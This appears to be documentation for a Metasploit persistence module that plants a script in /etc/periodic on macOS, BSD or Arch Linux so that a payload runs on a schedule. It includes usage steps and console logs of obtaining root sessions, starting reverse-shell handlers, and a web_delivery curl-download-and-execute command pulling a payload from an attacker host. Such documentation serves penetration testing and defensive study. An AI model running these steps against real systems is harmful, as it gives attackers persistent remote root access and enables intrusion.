## Description

This module provides a persistence mechanism on OSX, BSD and Arch Linux 
using periodic scripts. The modules will write a script to `/etc/periodic
/daily/`, `/etc/periodic/weekly/` or `/etc/periodic/monthly/`. This 
script will then execute a payload which is written by default to `/tmp/`.

Its possible to execute the daily jobs at any time by running `/usr/sbin/periodic daily` on OSX.

## Verification Steps

1. Obtain a session with super user privilleges, only the root 
user has write permissions to `/etc/periodic/`
2. Do: `use exploit/multi/persistence/periodic_script`
3. Do: `set session #`
4. Do: `set target #`
5. Do: `set payload #`
6. Do: `set verbose true`
7. Do: `expoit`

## Options

### PERIODIC_DIR

Periodic Directory to write script eg. Defaults to `/etc/periodic/daily`

### PERIODIC_SCRIPT_NAME

Name of periodic script. Defaults to random.

## Scenarios

### OSX 14.1.2 (pre-persistence upgrade)

```
msf6 exploit(multi/local/periodic_script_persistence) > set session 1
session => 1
msf6 exploit(multi/local/periodic_script_persistence) > run verbose=true 

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. /etc/periodic/daily/ is writable
[*] Writing '/etc/periodic/daily/jX3dG9' (118 bytes) ...
[*] Succesfully wrote periodic script to /etc/periodic/daily/jX3dG9.
[*] Cleanup command 'sudo rm/etc/periodic/daily/jX3dG9'
msf6 exploit(multi/local/periodic_script_persistence) > handler -p cmd/unix/reverse_zsh -P 4444 -H ens39
[*] Payload handler running as background job 4.

msf6 exploit(multi/local/periodic_script_persistence) > [*] Started reverse TCP handler on 192.168.168.219:4444 
[*] Command shell session 6 opened (192.168.168.219:4444 -> 192.168.168.175:49190) at 2025-08-29 17:49:54 +0200
msf6 exploit(multi/local/periodic_script_persistence) > sessions

Active sessions
===============

  Id  Name  Type                 Information           Connection
  --  ----  ----                 -----------           ----------
  1         meterpreter x64/osx  root @ mss-Mac.local  192.168.168.219:4242 -> 192.168.168.175:49165 (192.168.168.175)
  6         shell cmd/unix                             192.168.168.219:4444 -> 192.168.168.175:49190 (192.168.168.175)

msf6 exploit(multi/local/periodic_script_persistence) > sessions 6
[*] Starting interaction with 6...

id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
```

### OSX 11.7.10

#### Initial access

```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> run
[-] Exploit failed: cmd/linux/http/x64/meterpreter/reverse_tcp is not a compatible payload.
[*] Exploit completed, but no session was created.
resource (/root/.msf4/msfconsole.rc)> set target 8
target => 8
resource (/root/.msf4/msfconsole.rc)> set srvport 8083
srvport => 8083
resource (/root/.msf4/msfconsole.rc)> set uripath o
uripath => o
resource (/root/.msf4/msfconsole.rc)> set payload payload/osx/x64/meterpreter/reverse_tcp
payload => osx/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4447
lport => 4447
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4447 
[*] Using URL: http://1.1.1.1:8083/o
[*] Server started.
[*] Run the following command on the target machine:
curl -sk --output rnMUjAZF http://1.1.1.1:8083/o; chmod +x rnMUjAZF; ./rnMUjAZF& disown
msf exploit(multi/script/web_delivery) > 
[*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(49152 bytes)
[*] Sending stage (857592 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4447 -> 2.2.2.2:49620) at 2025-10-13 16:28:59 -0400

msf exploit(multi/script/web_delivery) > use exploit/multi/persistence/periodic_script
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/persistence/periodic_script) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : h00dies-MacBook-Pro.local
OS           : macOS Big Sur (macOS 11.7.10)
Architecture : x86
BuildTuple   : x86_64-apple-darwin
Meterpreter  : x64/osx
meterpreter > 
```

#### Persistence

```
msf exploit(multi/persistence/periodic_script) > set session 1
session => 1
msf exploit(multi/persistence/periodic_script) > set target 1
target => 1
msf exploit(multi/persistence/periodic_script) > set payload payload/python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf exploit(multi/persistence/periodic_script) > check
[!] Please set the WritableDir datastore option or the module is likely to fail
[+] The target is vulnerable. /etc/periodic/daily/ is writable
msf exploit(multi/persistence/periodic_script) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 1.1.1.1:4444 
msf exploit(multi/persistence/periodic_script) > [*] Running automatic check ("set AutoCheck false" to disable)
[!] Please set the WritableDir datastore option or the module is likely to fail
[+] The target is vulnerable. /etc/periodic/daily/ is writable
[*] Getting python version & path.
[+] Found python path /usr/bin/python3
[*] Writing '/etc/periodic/daily/fxBxrW9' (455 bytes) ...
[*] Succesfully wrote periodic script to /etc/periodic/daily/fxBxrW9.
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20251013.3141/h00dies-MacBook-Pro.local_20251013.3141.rc

msf exploit(multi/persistence/periodic_script) > jobs

Jobs
====

  Id  Name                                        Payload                          Payload opts
  --  ----                                        -------                          ------------
  0   Exploit: multi/script/web_delivery          osx/x64/meterpreter/reverse_tcp  tcp://1.1.1.1:4447
  1   Exploit: multi/persistence/periodic_script  python/meterpreter/reverse_tcp   tcp://1.1.1.1:4444

msf exploit(multi/persistence/periodic_script) > 
```

Run `/usr/sbin/periodic daily`

```
[*] Sending stage (23408 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49622) at 2025-10-13 16:31:57 -0400

msf exploit(multi/persistence/periodic_script) > 
```
